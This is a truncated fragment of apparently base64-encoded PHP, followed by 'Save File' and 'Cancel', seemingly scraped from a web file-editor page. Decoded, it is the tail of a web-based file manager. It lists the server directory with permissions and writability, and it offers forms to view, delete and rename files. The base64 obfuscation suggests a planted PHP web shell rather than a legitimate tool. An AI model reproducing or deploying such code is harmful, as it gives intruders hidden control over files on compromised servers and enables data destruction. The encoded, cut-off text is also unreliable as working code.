C90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD48Y2VudGVyPlZpZXc8L3RoPjx0aD48Y2VudGVyPkRlbGV0ZTwvdGg+PHRoPjxjZW50ZXI+UmVuYW1lPC90aD48L3RyPiI7Cgpmb3JlYWNoKHNjYW5kaXIoJGN1cnJlbnREaXJlY3RvcnkpIGFzICR2KXsKICAgICR1ID0gcmVhbHBhdGgoJHYpOwogICAgJHMgPSBzdGF0KCR1KTsKICAgICRpdGVtTGluayA9IGlzX2RpcigkdikKICAgICAgICA/ICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdkaXNwbGF5OmlubGluZSc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkJyB2YWx1ZT0nIi54KCRjdXJyZW50RGlyZWN0b3J5LiIvIi4kdikuIic+PGJ1dHRvbiB0eXBlPSdzdWJtaXQnIHN0eWxlPSdiYWNrZ3JvdW5kOm5vbmU7Ym9yZGVyOm5vbmU7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6IzAwZjt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyc+Ii4kdi4iLzwvYnV0dG9uPjwvZm9ybT4iCiAgICAgICAgOiAiPHNwYW4+Ii4kdi4iPC9zcGFuPiI7CiAgICAkcGVybWlzc2lvbiA9IHN1YnN0cihzcHJpbnRmKCIlbyIsZmlsZXBlcm1zKCR1KSksLTQpOwogICAgJHdyaXRhYmxlID0gaXNfd3JpdGFibGUoJHUpOwogICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9J2l0ZW0tbmFtZSc+Ii4kaXRlbUxpbmsuIjwvdGQ+Cjx0ZCBjbGFzcz0nc2l6ZSc+Ii5maWxlc2l6ZSgkdSkuIjwvdGQ+Cjx0ZCBjbGFzcz0nZGF0ZScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii5kYXRlKCJZLW0tZCBIOmk6cyIsZmlsZW10aW1lKCR1KSkuIjwvdGQ+Cjx0ZCBjbGFzcz0ncGVybWlzc2lvbiAiLigkd3JpdGFibGU/IndyaXRhYmxlIjoibm90LXdyaXRhYmxlIikuIic+Ii4kcGVybWlzc2lvbi4iPC90ZD4KPHRkPjxjZW50ZXI+PGZvcm0gbWV0aG9kPSdwb3N0Jz4iLiRfaGQuIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3ZpZXdfZmlsZScgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyBWaWV3ICc+PC9mb3JtPjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCc+Ii4kX2hkLiI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdkZWxldGVfZmlsZScgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkdikuIic+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0RlbGV0ZSc+PC9mb3JtPjwvY2VudGVyPjwvdGQ+Cjx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnPiIuJF9oZC4iPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nb2xkX25hbWUnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduZXdfbmFtZScgcGxhY2Vob2xkZXI9J05ldyBOYW1lJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdyZW5hbWVfaXRlbScgdmFsdWU9J1JlbmFtZSc+PC9mb3JtPjwvdGQ+CjwvdHI+IjsKfQplY2hvICI8L3RhYmxlPiI7Cj8+CjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4K'
Save File
Cancel